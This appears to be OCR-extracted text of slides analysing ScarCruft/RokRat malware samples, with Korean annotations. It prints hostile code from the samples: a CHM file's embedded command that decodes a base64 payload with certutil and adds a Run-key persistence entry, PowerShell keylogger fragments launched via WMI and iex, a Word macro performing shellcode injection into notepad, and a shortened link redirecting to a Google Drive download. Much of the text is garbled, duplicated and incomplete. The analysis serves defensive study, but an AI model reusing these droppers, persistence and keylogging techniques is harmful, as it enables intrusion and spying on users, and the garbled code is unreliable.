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Malware Sample Analyze

Summary
= .Chmfile distribution (html help workshop)
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Malware Sample Analyze

Summary
= .Chmfile distribution (html help workshop)
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Malware Sample Analyze

© I|ZBUTEXE YW v AYIE

Summary

=  Create Document.dat
=  Create Document.vbs

=  Create Registry Persistence Mechanism Value

<HTML>

<head>

<meta http-equiv="Content-Type" content="text/html: charset=euc-kr":>

<META MNAME="GENERATOR" Content="Microsoft DHTML Editing Control":>

<title>gexa</title>

<CBJECT id=shortcut classid="clsid:52Za2aaae-085d-4187-97ea-8c30db990436" width=l1 height=1>
<PARAM name="Command" e="ShortCut">

<PARIM n "Button" ue="Bitmap:shortcut">

<PARAM name="Iteml" value=',cmd, fc echo

U3Vi IFdNUHJVYyhwX2N tZCKNCgl 2ZX0gd 2 0gPSBHZXRPYmp 1 Y300 I ndpbm1 nbXRz0ndph My X 3Byb 2N 10 3Mi KQOKCXN 1 dCBvd3MgP SBHZXRPYMp1Y3Qc
KQOECYXN1ACBVY29uZiA91G9zdC5TeGF3bklue3RhbmN 1 XwOECWS jb25mL INob3dXaWikb3ogP SAXMgOKCWVy e LI 1dEVYb 1 ASTHAT LKNY ZWFOZShwiX 2Nt
b3dfY21kID0gImNEEZCAVYyBwb3dlenNoZWxsIC1 jb21tYWSKICTiaWVAICh3Z2V0IEh4eCokEW1vLnRAdCkuY 2 9ndGVndDsgSWomb 0t 1le SAtdNIgI3hd
"4USERPROFILE%\ Links\Document.dat" & start /MIN certutil -decode "#USERPROFILE%\Links\Document.dat" "%USERPROFILE%\L
HECU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Document /t REG_SZ /d "%USERPROFILE%\Links\Document.vbs" /f'>

< fOBJECT>

<script:>
shortcut.Click();

</BODY>
</HTML>

= 2of

cmd, /c echo [Encode Command] > "%USERPROFILE%\Links\Document.dat" & start
/MIN certutil -decode "%USERPROFILE%\Links\Document.dat"
"%USERPROFILE%\Links\Document.vbs" & start /MIN REG ADD
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Document /t REG_SZ
/d "%USERPROFILE%\Links\Document.vbs" /f'

5... “F certufil exe
2E 5., ‘r.‘,il certufil exe
S... @ certutilexe
5... '@ certutil exe

B b spo

16860 &= CreateFile
16680 & CreateFile
1660 &= CreateFile
1660 = CreateFile

MEX 5 white > o

= |

CHlzers'Wwhite®Links¥WDocument,dat
CaUzerswhite®LlinksWDocument, dat
CHFUserswhite®LinksWDocument, vbs
C¥Uzers'®whiteWlinks¥WDocument,vbs




Malware Sample Analyze

© I|ZBUTEXE YW v AYIE

Summary

=  Create Document.dat
=  Create Document.vbs

=  Create Registry Persistence Mechanism Value

<HTML>

<head>

<meta http-equiv="Content-Type" content="text/html: charset=euc-kr":>

<META MNAME="GENERATOR" Content="Microsoft DHTML Editing Control":>

<title>gexa</title>

<CBJECT id=shortcut classid="clsid:52Za2aaae-085d-4187-97ea-8c30db990436" width=l1 height=1>

<PARAM name="Command" e="ShortCut">

<PARAIM name="Button" w. ="Bitmap:shortcut">

<PARAM name="Iteml" value=',cmd, fc echo

U3Vi IFANUHIvYyhwX2NtZCKkNCgl 2ZX0gd20gPSBHEXRPYmp 1 Y300 Indpbml nbXRz0ndph jMyX3Byb 2N 1 o 3Mi KQORCXN 1dCBvd 3MgPSBHEXRPYmp 1 Y30c
EQOECYXN1ACBVYZ29nZiA91IG92zdC5TeGF3bk1luc3RNbmN 1 XwlECWI b2 5mL 1Nob3dXaWskb3ogP SAXMgURCWYye lJ1dEVYb1ASTHAt LKNyZWFDZShwi 2Nt
b3dfY21kID0gImNEEZCAVYyBwb3dlenNoZWxsIC1 jb21tYWSKICTiaWVAICh3Z2V0IEh4eCokEW1vLnRAdCkuY 2 9ndGVndDsgSWomb 0t 1le SAtdNIgI3hd
"4USERPROFILE%\ Links\Document.dat" & start /MIN certutil -decode "#USERPROFILE%\Links\Document.dat" "%USERPROFILE%\L
HECU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Document /t REG_SZ /d "%USERPROFILE%\Links\Document.vbs" /f'>

< fOBJECT>

<script:>
shortcut.Click();

</BODY>
</HTML>

5 o]

cmd, /c echo [Encode Command] > "%USERPROFILE%\Links\Document.dat" & start
/MIN certutil -decode "%USERPROFILE%\Links\Document.dat"
"%USERPROFILE%\Links\Document.vbs" & start /MIN REG ADD
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Document /t REG_SZ
/d "%USERPROFILE%\Links\Document.vbs" /f'

... ? certutil.exe
5 ‘r.‘,il certufil exe
-3 g certutil exe
=

1A certutil exe

B b spo

16860 &= CreateFile
16680 & CreateFile
1660 &= CreateFile
1660 &= CreateFile

AEZ} 5 white

CHlzers'Wwhite®Links¥WDocument,dat
CaUzerswhite®LlinksWDocument, dat
CHFUserswhite®LinksWDocument, vbs
CHUsersWwhite®linkeWDocument, vbs




Malware Sample Analyze

@ L[CHE 1zd RIB2 X = 2| RS} oM 3 C Summary
H: = =2 I = TI o & CHM o-=— » Create Document.dat
=  Create Document.vbs

=  Create Registry Persistence Mechanism Value

<HTML>

<head>

<meta http-equiv="Content-Type" content="text/html: charset=euc-kr":>

<META MNAME="GENERATOR" Content="Microsoft DHTML Editing Control":>

<title>gexa</title>

<CBJECT id=shortcut classid="clsid:52Za2aaae-085d-4187-97ea-8c30db990436" width=l1 height=1>

<PARAM name="Command" e="ShortCut">

<PARAIM name="Button" w. ="Bitmap:shortcut">

<PARAM name="Iteml" value=',cmd, fc echo

U3Vi IFANUHIvYyhwX2NtZCKkNCgl 2ZX0gd20gPSBHEXRPYmp 1 Y300 Indpbml nbXRz0ndph jMyX3Byb 2N 1 o 3Mi KQORCXN 1dCBvd 3MgPSBHEXRPYmp 1 Y30c
EQOECYXN1ACBVYZ29nZiA91IG92zdC5TeGF3bk1luc3RNbmN 1 XwlECWI b2 5mL 1Nob3dXaWskb3ogP SAXMgURCWYye lJ1dEVYb1ASTHAt LKNyZWFDZShwi 2Nt
b3dfY21kID0gImNEEZCAVYyBwb3dlenNoZWxsIC1 jb21tYWSKICTiaWVAICh3Z2V0IEh4eCokEW1vLnRAdCkuY 2 9ndGVndDsgSWomb 0t 1le SAtdNIgI3hd
"4USERPROFILE%\ Links\Document.dat" & start /MIN certutil -decode "#USERPROFILE%\Links\Document.dat" "%USERPROFILE%\L
HECU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Document /t REG_SZ /d "%USERPROFILE%\Links\Document.vbs" /f'>

</0OBJECT>

<script> T=E 5. ? certutil. exe 1660 ;-; CreateFile CHlzers'Wwhite®Links¥WDocument,dat

ST Bl 5 2 5. ‘r.‘,il certutil exe 1660 & CreateFile Clserswhite®LinksWoocument, dat

P 2% 5., W certutilexe 1660 & CreateFile  |C:#UsersWwhite®linksWDocument,vbs

</HTML> =S, @ certutilexe 1660 &= CreateFile CHUsersWwhite®linkeWDocument, vbs
H ol

AEZ} 5 white

cmd, /c echo [Encode Command] > "%USERPROFILE%\Links\Document.dat" & start
/MIN certutil -decode "%USERPROFILE%\Links\Document.dat"
"%USERPROFILE%\Links\Document.vbs" & start /MIN REG ADD
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Document /t REG_SZ =
/d "%USERPROFILE%\Links\Document.vbs" /f' - B e 5t




Malware Sample Analyze

® [f|= 2 HEX|E §|&etcHm 23

Summary

=  Run demo.txt using "iex" (Invoke-Expression), one of
PowerShell's execution arguments

= Save Keylogger as Pages_Elements.xml file

Sub WMProc(p_cmd)
set wm = Getlhiject ("w
set ows = GetCbject ("
S2t 05t = ows.Get("Wi _Pr 1 ey
set oconf = ost.Spawnlnstance
oconf.ShowWindow = 12
errReturn = wm.Create(p_cmd, Null, oconf, pid)
End Subk

HTi = "
Ipow cmdd

T |

pow_cmd = Heplace (pow_cmd,
WHMEProc (pow_cmd)

Document.vbs

Function InfoKey |
Param (
[string] Sur
)

function StartMain{

Param
[Parameter(Mandatory=$True)|
[string]SPath

)

Salias » @([Dimport(Cuser32.dIF CharSet~CharSet. Auto)]’, "public static extern’, "System.Text.StringBuilder’)
SmClk = ¢

"GetAsyn®, "GetKeyboa®, "MapVir™, "GetForegro”, "GetWi™, "TolUni", "GetClipb®, "IsClipbo”, "GetTic")

SmCik1 @("cKeyStare®, “rdState”, “tualkey®, “"undWindow”, "ndowText”, “code”, "ocardSequenceNumber”, “ardFormatAvailable”

for(Si = 0; $i <t SmCIk.Count; Siee)
(
SCIk[Si] = SenCIk{Si] + SmClk1{Si]

demo.txt

“kCounmt”

if(bkLength -gt O}
[SystemulO File]:AppendAllText($Path, $k, $o_enc_mode

StartMain -Path “SemcappdatawiMicrosoftwWindowsiWTemplateswPages_Elements.xml’




Malware Sample Analyze

Summary

=  Run demo.txt using "iex" (Invoke-Expression), one of
PowerShell's execution arguments

Save Keylogger as Pages_Elements.xml file

Sub WMProc(p_cmd)
set wm = Getlhject ("w
set ows = GetCbject ("
S2t 05t = ows.Get("Wi _Pr
set oconf = ost.Spawnlnstance
oconf.ShowWindow = 12
errReturn = wm.Create(p_cmd, Null, oconf, pid)
End Subk

HTi = "
Ipow cmdd

pow_cmd = Heplace (pow_cmd,
WHMEProc (pow_cmd)

Document.vbs

Function InfoKey |
Param (
[string] Sur
)

function StartMain{
Param
[Parameter{Mandatory = $True))
[string]SPath
)

for(Si = 0; $i It SmCIk.Count; Sise)
(
SCIk(Si] = SemCIK{Si) + SmCIk1{Si]

Salias » [DllimportCuser32.dII°, CharSet=CharSet. Auto)]’, ‘public static extern’, "System, Text.StringBuilder’)
SmClk = @("GetAsyn™, "GetKeyboa®, "MapVir®, "GetForegro®, "GetWi™, "ToUni", "GetClipb”, "IsClipbo”, "GetTic")
SmCik1 @("cKeyState®, “rdState”, “talkey”, "undWindow”, "ndowText”, “code”, “oardSequenceNumber”, “ardFormatAvailable”

demo.txt

if(bkLength -gt O}
[SystemlO File]Append Al Text($Path, $k, So_enc_mode

StartMain -Path “SemcappdatawiMicrosoftwWindowsiWTemplateswPages_Elements.xml’




Malware Sample Analyze

Summary

- =  Run demo.txt using "iex" (Invoke-Expression), one of
® I:H =='-|L 'T;I'?_ IEI ‘E‘xl % '?'I Q?_I' CHM Q!'*o-l s L PowerShell's execution arguments

= Save Keylogger as Pages_Elements.xml file

Sub WMProc(p_cmd)

set wm = Getlhiject ("w
set ows = GetCbject ("
S2t 05t = ows.Get("Wi _Pr 1 ey

set oconf = ost.Spawnlnstance
oconf.ShowWindow = 12

errReturn = wm.Create(p_cmd, Null, oconf, pid)

End Suk
uri = "htt
pow_cmd = E content; InfoKey -ur 'xxx'"""
pow_cmd = Replace (pow_cmd,
WHMEProc (pow_cmd)
Document.vbs
Function InfoKey {
Param (
[string] Sur
function StartMain{
Param
[Parameter(Mandatory=$True)|
[string]SPath
)
Salias (DllimportCuser32.dII" CharSet=CharSet.Auto)]’, "public static extern’, "System, Text.StringBuilder’) if(bkLength -gt O}
SmClk = @("GetAsyn™, "GetKeyboa®, "MapVir®, "GetForegro®, "GetWi™, "ToUni", "GetClipb”, "IsClipbo”, "GetTic") |'_\.'.5-|-,5|-|a Iﬂf.l‘il.‘_"lZ‘!‘\-Fﬁf'-d-:'-ull.‘_')" 5:-'-.:,[-. Lk Eg_ef.;'_'“ﬂde
SmCIk1 @("cKeyState®, “rdState”, “walkey”, "undWindow”, "ndowText”, "code”, "oardSequenceNumber”, "ardFormatAvailable”, "kCount” !
|
F
for(Si = 0; $i <t SmCIk.Count; Siee) 1
(
SCIk([Si] = SenCIk{Si] + SmClk1{Si]
) StartMain -Path “SemcappdatawiMicrosoftwWindowsiWTemplateswPages_Elements.xml’

demo.txt



Malware Sample Analyze

Sub WMProc(p_cmd)
set wm = Getlhiject ("w
set ows = GetCbject ("
S2t 05t = ows.Get("Wi _Pr 1 ey
set oconf = ost.Spawnlnstance
oconf.ShowWindow = 12
errReturn = wm.Create(p_cmd, Null, oconf, pid)
End Subk

uri = "h
pow_cmd E
pow_cmd = Replace (pow_cmd,
WHMEProc (pow_cmd)

Document.vbs

Function InfoKey |
Param (
[string] Sur
)

function StartMain{

Param
[Parameter(Mandatory=$True)|
[string]SPath

)

Salias » [DllimportCuser32.dII°, CharSet=CharSet. Auto)]’, ‘public static extern’, "System, Text.StringBuilder’)
SmClk = @("GetAsyn™, "GetKeyboa®, "MapVir®, "GetForegro®, "GetWi™, "ToUni", "GetClipb”, "IsClipbo”, "GetTic")
SmCIk1 @("cKeyState®, “rdState”, “wualkey”, "undWindow”, "ndowText”, "code”, "oardSequenceNumber”, "ardFormatAvailable”

for{Si = 0; $i <It SmClk.Count; Siee)
(
SCIk([Si] = SmCIk{Si) + SmClk1(Si]

demo.txt

r 'xxx'mem

“kCounmt”

Summary

=  Run demo.txt using "iex" (Invoke-Expression), one of
PowerShell's execution arguments

= Save Keylogger as Pages_Elements.xml file

if(bkLength -gt O}
[System.lOFile]:AppendAllText{$Path, Sk, $o_enc_mode

StartMain -Path “SemcappdatawiMicrosoftwWindowsiWTemplateswPages_Elements.xml’
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®  ScarCruft Malware Analyze
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® RokRat I E
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® RokRat

Malware Sample Analyze

Summary

=  Check many obfuscated strings via macros

Hqac
Zvere] olz| Mo
2020. 1. 234
49 w9 @ HE { a
b @y 72

1. gy EE2SY ¢ 2ol Aoty ofd FH2 E2 JsUT AFYA RS

2 oA, 22|11 ot F¢ B30 oF ¢ AsUMN? (28 ~ 43 )¢

we 23~ oMY (Ead R

3. HIZ72 RIS Ess P2, 8FME (BEE IR0

=8 Normal
(-1 Microsoft Word HH
-5 2®
! -2 NewMacros
=& Project (Abc..doc)
-5 Microsoft Word JHH

. -] ThisDocument
[+ 3 E.‘Zi
+4 - ThisDocument &

ThisDocum: Document |
Mz a2y

(0 &) ThisDocume a
AutoFormatOs False
AutoHyphena False
AutoSaveOn False
ChartDataPoir True
Consecutivel
Default TabSte 40
DefaultTargetl
DisableFeatur False
DoMotEmbed: False
EmbedLingui: True
EmbedTrueTiFalze
EncryptionPrc
Enforcestyle False
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Option Explicit

Private myMutex As Long
Private Sub ghikihayujx()

myMutex = CreateMutex(0, 1, “mutexname”)
Dim er As Long: er = Err.LastDlIError

If er <= 0 Then
Application.DisplayAlerts = False
Application.Quit

Else

End |f

End Sub

Private Declare Ptriafe Function CreateMutex Lib "kernel32" Alias "Cre:

Private Function Init{) 4s String
Din vCoded As String
vCoded = “gm# bfzc7md F +" & wbCrLf

it

vCoded = vCoded & “ajDzBASCzwhnf" & vbCrLf

vCoded = vCoded & “zzzzHy Kp+nzdnFOpynzH+y#pOnzLIfF+ bfzE y+Ip0800bFCT
vCoded = vCoded % “zzzzHy Kp+nzdnFOpynzH+v#pDnzL|fF+ bfzUy +nHybFniiTn
vCoded = vCoded & “zzzzHy Kp+nzdnFOpynzH+y#pDnzL|fF+ bfzJ0binlpfadnzE
vCoded = vCoded & “zzzzHy Kp+nzdnFOpynzH+y#pDnzL|fF+ bfzamnfHybFniizE
vCoded = vCoded & "zzzzHvy KpsnzdnFOpynzH+y#pOnzL |fF+ bfz.+0TbKnTnGby.J2
vCoded = vCoded & “zzzzHy Kp+nzdnFOpynzH+y#pOnzLIfF+ bfzlynp+n.nGbenyh
vCoded = vCoded & “zzzzHy Kp+nzdnFOpynzH+y#pDnzL|fF+ bfzelblp0300bFzE
vCoded = vCoded & "zzzzHvy Kp+nzdnFOpynzH+y#pOnzL |fF+ bfzelblpOLynnzE 0
vCoded = vCoded & “zzzzHy Kp#nzdnFOpynzH+y#pOnzLIfF+ bfzjynp+nHybFniid:
vCoded = vCoded & “acOin” & vbCrLf

wCoded = vCoded & “"zzzzHy Kp+nzdnFOpynzL|fF+ bfzB y+|p0900bFc7zE 0z" &
vCoded = vCoded & “zzzzHy Kp+nzdnFOpynzLI|FF+ bfzUy +nHybFniiTnGbyJzE 0
vCoded = vCoded & “zzzzHy Kp+nzdnFOpynzLIfF+ bfz)0binlpfaOnzE 0z" & Ch
vCoded = vCoded & “zzzzHy Kp+nzdnFOpynzL|fF+ bfzamnfHybFniizE 0z" & Ch
vCoded = vCoded & “zzzzHy Kp+#nzdnFOpynzL|fF+ bfz.+0TbKnTnGbyJzE 0z & |
vCoded = vCoded & “zzzzHy KpsnzdnFOpynzLI|FF+ bfz)ynp+n.nGb+nwhynpazE 0
vCoded = vCoded & "zzzzHy Kp+nzdnFOpynzH+y#pDnzL|fF+ bfzelblp0I00bFzE
vCoded = vCoded & “zzzzHy Kp+#nzdnFOpynzH+y#pDnzL|fF+ bfzelblpOLynnzE 0
vCoded = vCoded & “zzzzHy KpsnzdnFOpynzL|FF+ bfz)ynpsnHybFniidzg 0z" &
vCoded = vCoded & “acfqziD" & vbCrLf

vCoded = vCoded & “Hy Kp+nzwJnnz#wd, wxHjolLa"™ & vbCrLf

vCoded = vCoded & "FOz9izEBbF5" & wbCrLf

vCoded = vCoded & “Om.ninykngz9iz#+y f5° & vbCrLf

vCoded = vCoded & “OmdniW+bmz9iz#+y £5" & vbCrLf
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Summary

=  Check many obfuscated strings via macros
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Option Explicit

Private Declare Ptriafe Function CreateMutex Lib "kernel32" Alias "Cre:
Private myMutex As Long

Private Sub ghikihayujx()

myMutex = CreateMutex(0, 1, “mutexname”)
Dim er As Long: er = Err.LastDlIError
If er <= 0 Then
Application.DisplayAlerts = False
Application.Quit

Else

End If

End Sub

Private Function Init{) 4s String

Din vCoded As String

vCoded = “gm# bfzc7md F +" & wbCrLf

vCoded = vCoded & “ajDzBASCzwhnf" & vbCrLf

vCoded = vCoded & “zzzzHy Kp+nzdnFOpynzH+y#pOnzLIfF+ bfzE y+Ip0800bFCT
vCoded = vCoded % “zzzzHy Kp+nzdnFOpynzH+v#pDnzL|fF+ bfzUy +nHybFniiTn
vCoded = vCoded & “zzzzHy Kp+nzdnFOpynzH+y#pDnzL|fF+ bfzJ0binlpfadnzE
vCoded = vCoded & “zzzzHy Kp+nzdnFOpynzH+y#pDnzL|fF+ bfzamnfHybFniizE
vCoded = vCoded & "zzzzHvy KpsnzdnFOpynzH+y#pOnzL |fF+ bfz.+0TbKnTnGby.J2
vCoded = vCoded & “zzzzHy Kp+nzdnFOpynzH+y#pOnzLIfF+ bfzlynp+n.nGbenyh
vCoded = vCoded & “zzzzHy Kp+nzdnFOpynzH+y#pDnzL|fF+ bfzelblp0300bFzE
vCoded = vCoded & "zzzzHvy Kp+nzdnFOpynzH+y#pOnzL |fF+ bfzelblpOLynnzE 0
vCoded = vCoded & “zzzzHy Kp#nzdnFOpynzH+y#pOnzLIfF+ bfzjynp+nHybFniid:
vCoded = vCoded & “acOin” & vbCrLf

wCoded = vCoded & “"zzzzHy Kp+nzdnFOpynzL|fF+ bfzB y+|p0900bFc7zE 0z" &
vCoded = vCoded & “zzzzHy Kp+#nzdnFOpynzLI|fF+ bfzUy +nHybFniiTnGbyJzE 0
vCoded = vCoded & “zzzzHy Kp+nzdnFOpynzLIfF+ bfz)0binlpfaOnzE 0z" & Ch
vCoded = vCoded & “zzzzHy Kp+nzdnFOpynzL|fF+ bfzamnfHybFniizE 0z" & Ch
vCoded = vCoded & “zzzzHy Kp+#nzdnFOpynzL|fF+ bfz.+0TbKnTnGbyJzE 0z & |
vCoded = vCoded & “zzzzHy KpsnzdnFOpynzLI|FF+ bfz)ynp+n.nGb+nwhynpazE 0
vCoded = vCoded & "zzzzHy Kp+nzdnFOpynzH+y#pDnzL|fF+ bfzelblp0I00bFzE
vCoded = vCoded & “zzzzHy Kp+#nzdnFOpynzH+y#pDnzL|fF+ bfzelblpOLynnzE 0
vCoded = vCoded & “zzzzHy KpsnzdnFOpynzL|FF+ bfz)ynpsnHybFniidzg 0z" &
vCoded = vCoded & “acfqziD" & vbCrLf

vCoded = vCoded & “Hy Kp+#nzwJunz#wd wxHiola" & vbCrLf

vCoded = vCoded & "FOz9izEBbF5" & wbCrLf

vCoded = vCoded & “Om.ninykngz9iz#+y f5° & vbCrLf

vCoded = vCoded & “OmdniW+bmz9izd+y £5" & vbCrLf

it




Malware Sample Analyze

® RokRat Q4/dIE Summary

=  String obfuscation is a decryption process.

vCoded = vCoded &
vCoded = vCoded &
A

vCoded = vCoded

& vbCrlf
Pt & Chr(34) &
& Chr(34) &

vCoded = vCoded & " ri Declare Pty . ] le Li & Chr(34) & rneld2" ¢ C
StringOriginal L ) TIKL : ' vCoded = vCoded & " & Ch!(jﬁ) 1 [
vCoded = vCoded & " te | ‘ ' " & Chr(34) & &

sith open(’2.vbs", I as f: -:C.::i.:.j = v:,:‘d.:.d & J i ra [ Pe ¢ . - - ral +raT 0 & :n: 3.“) ‘
content C

StringEncoded

, content) vCoded = vCoded & " € DeCla { € { ) - . & Ch:(34) u Inel & C
vCoded = vCoded & . Declare PrrSaf ion GlobalFrs " & Chr(34) & rnel & Ch
vCoded = vCoded & " & Chr(34) & |
inde:tr l;fEnE;:Eiéded.index(c) vCoded & & vbCrlf
vCoded = v & [ & Chr(34) &' & Ch
& " & Chr(34) & & Ch
k & Chr(34) & " & Chr(¥) &
h & Chr(¥M) &" & Chr(34) &
vCoded = vCoded & " " & Chr(34) & & Chr(34)
6" . ; .aDar
&
&
&

iith open(
f_new.write

" & Chr(34) & & Ch
& Chr(34) & & Cl

" & Chr(}M) & & Ch!
& Chr(34) &' & Chr(34]



Malware Sample Analyze

® RokRat Q4/dIE Summary

=  String obfuscation is a decryption process.

vCoded = vCoded & "#1f & vbCrLf

vCoded = vCoded & " & Chr(34) &

vCoded = vCoded & . te Declare PrrSafe td 1teProcessis b " & Chr(34) &

vCoded = vCoded & " ri Declare PrrSafe ! ] le Li & Chr(34) & "kerneld2" & Q1
Stringoriginal _ vCoded = vCoded § " & Chx(34) & (Y
vCoded = vCoded & " te [ ' ' ' " & Chr(34) & &

tith open('2. , 'r') as f: vCoded = vCoded & " - va T De 2 fn 3 A raDamataThra r & Chr 34) &
content F

StringEncoded =

, content) vCoded = vCoded & " e Declare rtroale ! { 3 A 4 Ch:(.‘“ i eInel & C
vCoded = vCoded & P1 Declare PrrSaf tion GlobalFri b " & Chr(34) & rnel32" & Ch
vCoded = vCoded & Chr(34) & |
& vbCrlf
[ & Chr(34) & "k & Ch!
" & Chr(34) & "k & Ch
" & Chr(34) & " & Chr(34) &
& Chr(d) ¢ " & Chr(34) &
" & Chr(34) & & Chr(34)
" & Chr(34) & & Ch
& Chr(34) & & Cl
" & Chr(}M) & & Ch
& Chr(4) & & Chr (34

vCoded = vCoded
vCoded = vCoded
vCoded = vCoded
vCoded = vCoded

je 8
>
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o
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o
=
Lo - S I T - - ST I -




Malware Sample Analyze

Summary

=  Perform process injection after decrypting ShellCode

=  When accessing the shortened URL, redirect to Google Drive and
download additionally

#Windows" goie| =g HiE
vCoded = vCoded & " wind

#SysWOWE€4 notepad.exe rimac.

vCoded vCoded & " W = W

vCoded = vCoded & " turnValue = Y
vCoded = vCoded & " #Else"” & vbCrLf

#notepad.exe zxact.

vCoded = vCoded & " rnValue = CreateProcessai |
vCoded = vCoded & " & vbCrLf

#zz42 PID »mac.

vCoded = vCoded & "
vCoded = vCoded & "
vCoded = vCoded & "

ID" & vbCrLf

Fuss ASSc Zadac ¥ 32 UM H¥ hsd 2=§ ¥T

vCoded = vCoded &

#GlobalAlloc gsg 4
vCoded = vCoded &
vCoded = vCoded &
vCoded = vCoded &

#RtlMoveMemory gsgs
vCoded = vCoded & "
vCoded = vCoded & "
vCoded = vCoded & "

i" & vbCrLf
sultl teProcess" & vbCrLf

#WriteProcessMemory
vCoded = vCoded & "

#CreateRemoteThread gsg
vCoded = vCoded & "
vCoded = vCoded & "

= Openrr

0)" & vbCrLf

J, winaowsbix, U, U, ra

" & Chr(34) & "notep

<html>
<head><title>Bitly</title></head>

<body><a href="https://drive.google.com/uc?export=downloadséamp: id=1XOwiYeCCVOC-SsP71iPwDSFGSHItSyysv"o>a

</html>




Malware Sample Analyze

#Windows" goe =g @g
vCoded = vCoded & " wind

#SysWOWE€4 notepad.exe rimac.
vCoded = vCoded & " W W
vCoded = vCoded & " ReturnValue =

vCoded = vCoded & " #Else"” & vbCrLf

#notepad.exe nac.

vCoded = vCoded & " rnValue = CreateProcessai |
vCoded = vCoded & " #End & vbCrLf

#zz42 PID »mac.

vCoded = vCoded & "
vCoded = vCoded & "
vCoded = vCoded & "

Fuss Assie Z2dacl Y 32

vCoded = vCoded & "

#GlobalAlloc gsg As8dc
vCoded = vCoded & "
vCoded = vCoded & "
vCoded = vCoded & "

#RtlMoveMemory gsgs
vCoded = vCoded & "
vCoded = vCoded & "
vCoded = vCoded & "

i" & vbCrLf
sultl teProcess" & vbCrLf

#WriteProcessMemory
vCoded = vCoded & "

#CreateRemoteThread
vCoded = vCoded & "
vCoded = vCoded & "

& Chr(34) & "\Sy

0)" & vbCrLf

winaowsbix, U, U, ra

" & Chr(34) & "notep

Summary

=  Perform process injection after decrypting ShellCode

=  When accessing the shortened URL, redirect to Google Drive and
download additionally

<html>

<head><title>Bitly</title></head>

<body><a href="https://drive.google.com/uc?export=downloadséamp: id=1XOwiYeCCVOC-SsP71iPwDSFGSHItSyysv"o>a
</html>




Malware Sample Analyze

(file name using system time) file creation

I Detect It Easy v3.08 [Windews 10 Version 2000] (x86_62)

zersWhwhiteWDownloadsWrokrat2f & 3 S Wl 0 (22E), exe

File size

~
v

w

e':fat\;] = Sy
empPathA + 2]
empPathA +

Q

= CreateFileA(

leA != (HA

eHandle(Fil

3]

ND

hA + 1] = wHc

n o

);

me);

ystemTime .wHour;

temTime.wMinute;
) $

mTime.wDay % 26 + 65;

~ % 26 + 97;
wMinute / 12 + 102;

s &)

uffer, Ox40000000u, 3u, 0, 1lu,
)-1)

@x380u,

2);




Malware Sample Analyze

® RokRat QII'L°'| _'?l_E = (file name using system time) file creation

nt
p
I Detect it Easy v3.08 [Windows 10 Version 2009] (86_64) GetSystemTime (&SystemTime);
Ir = SystemTime.wHour;
sersWwhiteWDownloadsWrobsat2) & 3 E W S OH(248), exce = wMinute = SystemTime.wMinute;

File size ffer[TempPathA] = SystemTime.wDay % 26 + 65;
ffer[TempPathA + 1] = wHour ¥ 26 + 97;

s &)

athA + 2] = wMinute / 12 + 102;
oPathA + 3] = SystemTi

a
]

o o o

Qo

|

t

T
i

E
=
<
1]
Q
= |
a®
N
o0
+
)
w
e

+
+
< ) ) ] ]
W m ™ 1
| {
o M < [ o s

leA = CreateFileA(Buffer, Ox40000000u, 3u, 0, lu, ©x30u,
ileA != (HANDLE)-1 )

(
CloseHandle(FileA);

n o

w
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® RokRat

O}
=

Mac

Collect user information and file names
Collect SystemBiosVersion

A2l 2% us z
0 SIENO| 2lan 0s o|# Microsoft Windows 10 Pro
p-78 2 CEl 10018363 EE 18363
o AZEY0 BY 2|EtOS & ABE = @
oS M=EQH Microsoft Corporation
Al2% Ol E DESKTOP-26T4GGC
Al2Y HEGH Gigabyte Technology Co., Ltd
AlaE 28 H81M-D2V
Al2Y BR x64 7|8t pC
A2 sKu To be filled by OEM
Z2AM Intel(R) Core(TM) i5-4690 CPU @ 3.50GHz, 3501Mhz, 4 20j, 4
SMBIOS ¥ 27
EgE TEFY 4 255.255
BIOS BE UEFI
Holaee H=YUA Gigabyte Technology Co., Ltd

golagc ME HRTM.NOV

=&

BIOS H{H/ER American Megatrends Inc. F3, 2014-03-11

K

]
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® RokRat

O}
=

Mac

Collect user information and file names
Collect SystemBiosVersion

A2E % us 2
- SIENO| 2lax 0s o| & Microsoft Windows 10 Pro
' ?i‘! 22 ) b 10.0.18363 EE 18363
o AZEO BY 216 0s 4 NBE SR
oS M=EQH Microsoft Corporation
Al2% Ol E DESKTOP-26T4GGC
Al2Y HEGH Gigabyte Technology Co., Ltd
AlaE 28 H81M-D2V
A28 BF x64 7|8t pC
A2 sKu To be filled by OEM
ZZAM Intel(R) Core(TM) i5-4690 CPU @ 3.50GHz, 3501Mhz,
SMBIOS ¥ 27
EgE TEF HY 255.255
BIOS 2E UEFI
Holaee H=YUA Gigabyte Technology Co., Ltd

4 30 4 =E| E§

BIOS H /2R American Megatrends Inc. F3, 2014-03-11

golagc ME HRTM.NOV
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® RokRat I E

Generates a 32 Byte size random key value.

sub_8DBAS@( (int)&unk_945658, (int)L"¥%@4X%@4X%08X",
for (1 =0; i < 31; ++i )
{
byte 945610[i]
byte_945680[1i]
}

(rand() & OxEE) + 1;
(rand() & OxEE) + 1;

._3);




Malware Sample Analyze

® RokRat I E

Generates a 32 Byte size random key value.

sub_8DBAS@( (int)&unk_945658, (int)L"¥%@4X%@4X%08X",
for (1 =0; i < 31; ++i )
{
byte 945610[i]
byte_945680[1i]
}

(rand() & OxEE) + 1;
(rand() & OxEE) + 1;

._3);




Malware Sample Analyze

® RokRat 0"*01 e L) = Gather VMware information
=  Command code and data download

g es
\Wware\Wware T
ools\vmtoolsd. ex
e. U« | «2U

C FR ’*C 00|77 7 00 < 1 R
41 52 44 57 C...HARDWARE\DES
49 4F 4E i 73 |7 CRIPTION\System.
61 5C 4C ppData\Local\Tem
56 00 00 i 3 P\AJJV..SystemBi
73 69 6F 02 0 00|00 00 00 OO |osVersion

27 R7 0NN 2 ) . L3 N o S ,dﬁ_,
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® RokRat 0"*01 e L) = Gather VMware information
=  Command code and data download

g es
\Wware\Wware T
ools\vmtoolsd. ex
e. U« | «2U

C FR ’*C 00|77 7 00 < 1 R
41 52 44 57 C...HARDWARE\DES
49 4F 4E i 73 |7 CRIPTION\System.
61 5C 4C ppData\Local\Tem
56 00 00 i 3 P\AJJV..SystemBi
73 69 6F 02 0 00|00 00 00 OO |osVersion

27 R7 0NN 2 ) . L3 N o S ,dﬁ_,
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® RokRat 0"*01 e L) = Gather VMware information
=  Command code and data download

g es
\Wware\Wware T
ools\vmtoolsd. ex
